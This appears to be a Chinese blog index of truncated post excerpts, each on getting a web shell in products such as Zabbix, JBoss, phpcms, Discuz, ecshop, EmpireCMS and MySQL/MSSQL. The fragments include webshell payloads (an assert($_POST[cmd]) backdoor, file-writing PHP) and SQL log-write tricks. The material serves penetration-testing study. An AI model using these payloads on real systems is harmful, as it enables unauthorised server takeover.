前言记录一下之前实战攻防遇到的一次zabbix获取shell的过程。实战开始收集资产,发现一处zabbix存在Admin/zabbix弱口令。平平无奇,添加执行脚本getshell,以下可以选择脚本执...
通达 OA 变量覆盖及 getshell
版本 2015, 乌云平台上的漏洞, 正好最近实战也用到了 变量覆盖/logincheck.php post 数据 USERNAME=admin&PASSWORD=&MYOA_MAST...
powereasy 后台 getshell
powereasy 后台 getshell 系统设置 - 网站频道管理 - 下载中心 - 频道类型 将 上传文件的保存目录 改成 test.asp 最后左栏找到对应的频道直接上传, 抓包的路径不全, ...
帝国 cms 后台 getshell
帝国 cms 后台 getshell 系统- 数据库与系统模型 - 管理数据表 - 管理系统模型 本地新建 1.php.mod 内容 <?fputs(fopen("a.php"...
JBoss Deploy Getshell
JBoss Deploy Getshell 访问 /jmx-console/ 找到 jboss.system 点击 service=MainDeployer 找到 void deploy() 将 xx...
phpcms 后台 getshell
phpcms 后台 getshell 内容 - 专题 - 添加专题 专题导读 <?php file_put_contents('0.php',base64_decode('PD9waHAgYXN...
dedecms 友链 getshell
csrf getshell EXP<?php //print_r($_SERVER); $referer = $_SERVER['HTTP_REFERER']; $dede_...
MSSQL Log Getshell
需要支持堆查询. db_owner 权限即可. ;alter database xxxx set RECOVERY FULL-- ;create table cmd (a image)-- ;back...
discuz 后台 getshell
适用于 Discuz X3.3 及之前版本 站长 - Ucenter 设置 - Ucenter 应用 ID 填入代码 123');file_put_contents('a.php','<?php...
MySQL Log Getshell
require: root权限. 网站物理路径. 文件位置未被限制. set global general_log = on; set global general_log_file = '...
ecshop 后台 getshell
ecshop 后台 getshell 模板管理 - 语言项编辑 下拉栏选择 user.php 搜索 用户信息 后面加上代码 ${${assert($_POST[cmd])}} 确认修改 连接 根目录下...
FineCMS最新版5.0.8两处getshell(每天一洞)
前言 要专心学习代码审计了,看看能不能坚持每天去分析一个漏洞,我会去按照大神们分析的代码去读懂代码逻辑然后再写上自己的理解放在我的博客上面。在文章的末尾我会贴上文章的链接,尊重原作者的版权! 第一处漏...
36